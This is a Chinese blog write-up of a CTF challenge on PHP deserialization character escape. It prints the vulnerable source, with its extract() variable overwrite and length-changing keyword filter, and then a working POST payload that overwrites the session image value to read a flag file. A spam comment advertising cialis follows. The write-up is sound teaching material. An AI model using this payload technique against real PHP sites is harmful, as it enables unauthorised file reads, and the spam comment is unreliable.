一道基础的反序列化字符逃逸

这也是第一次做字符逃逸

php反序列化字符逃逸

通常字符逃逸会在服务器对序列化字符串进行过滤或替换的时候造成

什么是逃逸

通过序列化语句对字符串长度的描述,使得部分属性的内容被捕捉,使得其他内容被当做属性反序列化,这就达到了逃逸的效果
在反序列化中找字符逃逸很简单,只需要看看有没有对字符串进行替换造成了长度变化

直接看一个逃逸的例题8

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

分析代码1

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}

一个过滤函数,将特定字符替换为了空,也就是这里造成了字符逃逸

分析代码2

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);
if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

说明了 $_SESSION 里存了三个键,user function img

还有一个 extract() 函数,这里可以造成变量覆盖

分析代码3

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

首先,将$_SESSION 数组里的值进行序列化,然后get参数接受不同的功能

做题1

先根据 代码3 中的 phpinfo 的提示,到phpinfo里看看,搜索 disable 和 auto_append_file 查看,可以看到 dog3_f1ag.php
所以思路 ,传入 f=show_image 然后 将文件名 base64 触发file_get_contents (之前以为这里要用伪协议看源码,结果发现没这个必要)

做题2

构造特殊语句完成变量覆盖,这就是这个题最主要的考点,字符逃逸。

那么如何进行字符逃逸呢,我们先写一段来测试一下

$_SESSION['user']='xxx';
$_SESSION['function']= ';s:8:"function";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$_SESSION['img'] = 'fake';
echo serialize($_SESSION);

输出 a:3:{s:4:"user";s:3:"xxx";s:8:"function";s:63:";s:8:"function";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:4:"fake";}

先不管xxx 这里写入的是最后会被会被 代码1的函数替换为空,那么我们先来算一下需要多少字符,

可以想到最后我们最后想要的是 类似如下的字符串

a:3:{s:4:"user";s:xx:"";s:8:“function";s:63:";s:8:"function";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:4:"fake";}

那么我们需要让中间的xx长度的数字刚好为我们需要的长度,数一下 22 个字符,那么看到filter函数里 替换的都是3 或者 4 个字符的
由于我数学很差 所以看看有哪些组合可以满足条件

<?php
for($i=0;$i<=7;$i++)
{
    for($j=0;$j<=5;$j++)
    {
        if(3*$i+4*$j == 22)
        {
            echo $i;
            echo '
            ';
            echo $j;
        }
        else
        {
            echo 'no';
        }
    }
}
?>

答案是 2个3 4个4或者6个3 1个四

这里我采用的是 6个3 1个四,所以 这里的xxx也就是要传入$_SESSION['user'] 的值是 ‘phpphpphpphpphpphpflag’
所以构造payload

_SESSION[user]=phpphpphpphpphpphpflag&_SESSION[function]=;s:8:"function";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

然后在注释里可以看到另一个文件 /d0g3_fllllllag(注意是在根目录下的)

然后修改payload 再次提交,拿到flag

如何构造逃逸

看了上面的例题,对构造逃逸其实也有了一定的理解

逃逸大致分几个步骤

  1. 寻找可造成字符逃逸的点
  2. 计算需要逃逸的字符数量
  3. 构造字符逃逸的特殊字符串
  4. 让逃逸出的值提前闭合
  5. 反序列化,造成变量覆盖

标签: none

仅有一条评论

  1. Oral Candidiasis And Amoxicillin cialis online prescription Cialis Dosis Diaria

添加新评论